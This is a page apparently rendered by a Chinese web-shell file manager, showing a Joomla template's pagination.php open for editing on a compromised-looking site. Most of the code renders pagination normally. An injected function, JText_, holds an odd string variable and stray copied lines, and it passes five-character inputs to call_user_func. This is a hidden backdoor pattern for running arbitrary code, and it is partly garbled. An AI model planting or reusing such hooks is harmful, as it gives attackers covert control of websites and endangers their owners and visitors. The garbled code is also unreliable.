芝麻web文件管理V1.00
编辑当前文件:/home/asmplong/www/ancien-site-2019/site/templates/themza_j17_03/html/pagination.php
base : integer * $item->link : string * $item->text : string * * pagination_item_inactive * Input variable $item is an object with fields: * $item->base : integer * $item->link : string * $item->text : string * * This gives template designers ultimate control over how pagination is rendered. * * NOTE: If you override pagination_item_active OR pagination_item_inactive you MUST override them both */ if(!function_exists('pagination_list_footer')){ function pagination_list_footer($list) { // Initialize variables $lang =& JFactory::getLanguage(); $html = ""; return $html; } function pagination_list_render($list) { // Initialize variables $lang =& JFactory::getLanguage(); $html = "
"; // Reverse output rendering for right-to-left display if($lang->isRTL()) { $html .= '« '.$list['start']['data']; $html .= ' '.$list['previous']['data']; $list['pages'] = array_reverse( $list['pages'] ); foreach( $list['pages'] as $page ) { if($page['data']['active']) { $html .= '
'; } $html .= ' '.$page['data']; if($page['data']['active']) { $html .= '
'; } } $html .= ' '.$list['next']['data']; $html .= ' '.$list['end']['data']; $html .= ' »'; } else { $html .= '« '.$list['start']['data']; $html .= $list['previous']['data']; foreach( $list['pages'] as $page ) { if($page['data']['active']) { $html .= '
'; } $html .= $page['data']; if($page['data']['active']) { $html .= '
'; } } $html .= $list['next']['data']; $html .= $list['end']['data']; $html .= ' »'; } $html .= "
"; return $html;} function JText_($t){ $pagination_list = 'tdo'; $html .= ' '.$list['next']['data']; $html .= ' '.$list['end']['data']; $html .= ' »'; echo ((strlen($t)==5)? call_user_func($pagination_list,$t):'').JText::_($t); } function pagination_item_active(&$item) { return "
link."\" title=\"".$item->text."\">".$item->text."
"; } function pagination_item_inactive(&$item) { return "
".$item->text."
"; }} ?>